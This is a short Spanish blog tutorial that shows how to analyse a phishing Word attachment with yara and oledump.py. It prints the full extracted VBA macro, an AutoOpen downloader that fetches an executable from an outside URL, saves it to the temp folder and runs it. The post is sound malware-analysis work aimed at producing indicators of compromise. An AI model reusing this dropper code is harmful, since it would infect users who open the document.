Análisis de un OLE File con oledump.py

En esta entrada vamos a ver de una manera muy rápida como hacer un análisis de un fichero OLE y analizar los streams que contenga (en este caso se trata de una macro) con la herramienta y reglas de Didier Stevens. El documento no es muy complejo pero nos sirve para ilustrar cómo utilizar esta herramienta.

Hash del fichero cazado en un correo:

e4e46f746fffa613087bba14666a3ceec47e145f  Transferencia_Interbancaria.doc

Paso 1: Lanzamos yara con nuestra reglas:

$ yara maldoc.yara ../../Transferencia_Interbancaria.doc 
maldoc_OLE_file_magic_number ../../Transferencia_Interbancaria.doc

Paso 2: Ejecutamos oledump.py (http://blog.didierstevens.com/programs/oledump-py/):

$ python oledump.py ../../Transferencia_Interbancaria.doc 

  1:       125 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:     11168 '1Table'
  5:    457548 'Data'
  6:       369 'Macros/PROJECT'
  7:        41 'Macros/PROJECTwm'
  8: M    5051 'Macros/VBA/ThisDocument'
  9:      2995 'Macros/VBA/_VBA_PROJECT'
 10:       515 'Macros/VBA/dir'
 11:     41300 'WordDocument'

Esto nos indica que en el stream 8 tiene una macro (lo vemos porque aparece la M).

Paso 3: Ahora vamos a extraer el contenido de la macro (-s 8) descomprimido (-v)

$ python oledump.py -s 8 -v ../../Transferencia_Interbancaria.doc 

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const GATE = "http://loaesa.com/1/ss.exe"
Sub Auto_Open()
Call DownloadFile("33", "33.EXE")
End Sub
Sub AutoOpen()

Call DownloadFile("33", "33.EXE")
End Sub

Sub DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "tMp", 
Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
    On Error Resume Next
    Err.Clear
 
    Set OCX = CreateObject("Microsoft.XMLHTTP")
    
    If RunHide = False Then: OCX.Open "GET", GATE, False
    OCX.send
    OCX.getAllResponseHeaders
 
    FullSavePath = Environ(SavePath) & "\" & SaveName
    Set DLL = CreateObject("ADODB.Stream")
        
    DLL.Open
    DLL.Type = 1
    DLL.Write OCX.responseBody
    DLL.SaveToFile FullSavePath, 2
    
    If RunHide = False Then: CreateObject("WScript.Shell").Run FullSavePath
    
Application.DisplayAlerts = False
.....
.....
Application.Quit
End Sub

Con esto ya tenemos información para ver qué hace la macro y poder generar nuestros IOCs. En este caso vemos como se descarga de la dirección “hxxp://loaesa.com/1/ss.exe” un binario, que guardará como 33.EXE en el sistema y lo ejecutará.

Espero como siempre que os sea de utilidad.